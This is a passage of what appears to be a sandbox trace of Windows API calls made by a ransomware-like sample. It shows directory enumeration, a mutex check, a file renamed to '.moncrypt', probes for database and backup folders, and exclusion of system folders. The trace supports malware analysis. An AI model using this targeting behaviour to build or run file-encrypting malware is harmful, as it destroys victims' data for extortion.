bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.635] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x675, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML.moncrypt", cAlternateFileName="PROOFX~1.MON")) returned 0 [0048.635] GetLastError () returned 0x12 [0048.635] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.636] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0048.636] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.636] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.636] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.636] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.636] GlobalUnlock (hMem=0x44000c) returned 0 [0048.636] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.636] GlobalLock (hMem=0x440004) returned 0x557870 [0048.636] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.636] GlobalUnlock (hMem=0x44000c) returned 0 [0048.636] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.636] GlobalUnlock (hMem=0x440004) returned 0 [0048.636] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.636] GlobalLock (hMem=0x440004) returned 0x555860 [0048.636] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.636] GlobalUnlock (hMem=0x440004) returned 0 [0048.636] GlobalLock (hMem=0x440004) returned 0x555860 [0048.636] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.636] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.636] GlobalUnlock (hMem=0x440004) returned 0 [0048.636] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.636] GlobalUnlock (hMem=0x44000c) returned 0 [0048.636] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.637] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us", len=0x5e | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us") returned 1 [0048.637] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.637] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.637] GlobalUnlock (hMem=0x44000c) returned 0 [0048.637] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.637] GlobalLock (hMem=0x440004) returned 0x557870 [0048.637] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.637] GlobalUnlock (hMem=0x44000c) returned 0 [0048.637] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.637] GlobalUnlock (hMem=0x440004) returned 0 [0048.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@卾U卒U企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.637] GetLastError () returned 0x3 [0048.637] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.637] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18䁼Q\x181")) returned 0xffffffff [0048.638] GetLastError () returned 0x2 [0048.638] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.638] GetLastError () returned 0x2 [0048.638] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18D")) returned 0xffffffff [0048.639] GetLastError () returned 0x2 [0048.639] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18翌R\x18j")) returned 0xffffffff [0048.639] GetLastError () returned 0x2 [0048.640] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@⭌R企@\x18?T\x18q")) returned 0xffffffff [0048.640] GetLastError () returned 0x2 [0048.640] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RĀ") returned 6 [0048.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18y")) returned 0xffffffff [0048.641] GetLastError () returned 0x2 [0048.641] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18?T\x18\x81")) returned 0xffffffff [0048.641] GetLastError () returned 0x2 [0048.641] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18\x88")) returned 0xffffffff [0048.642] GetLastError () returned 0x2 [0048.642] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.642] GetLastError () returned 0x2 [0048.642] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18?T\x18\x97")) returned 0xffffffff [0048.643] GetLastError () returned 0x2 [0048.643] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.643] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.648] GlobalLock (hMem=0x440004) returned 0x555860 [0048.648] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.648] GlobalUnlock (hMem=0x440004) returned 0 [0048.648] GlobalLock (hMem=0x440004) returned 0x555860 [0048.648] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.648] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.648] GlobalUnlock (hMem=0x440004) returned 0 [0048.648] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.648] GlobalUnlock (hMem=0x44000c) returned 0 [0048.648] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.648] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.648] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.648] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.649] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.649] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.649] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.649] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bd0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.649] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.649] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.649] GlobalUnlock (hMem=0x44000c) returned 0 [0048.649] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.649] GlobalLock (hMem=0x440004) returned 0x557870 [0048.649] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.649] GlobalUnlock (hMem=0x44000c) returned 0 [0048.649] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.649] GlobalUnlock (hMem=0x440004) returned 0 [0048.649] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.650] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.650] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.650] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.650] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.650] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.651] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.651] MultiByteToWideChar (in: 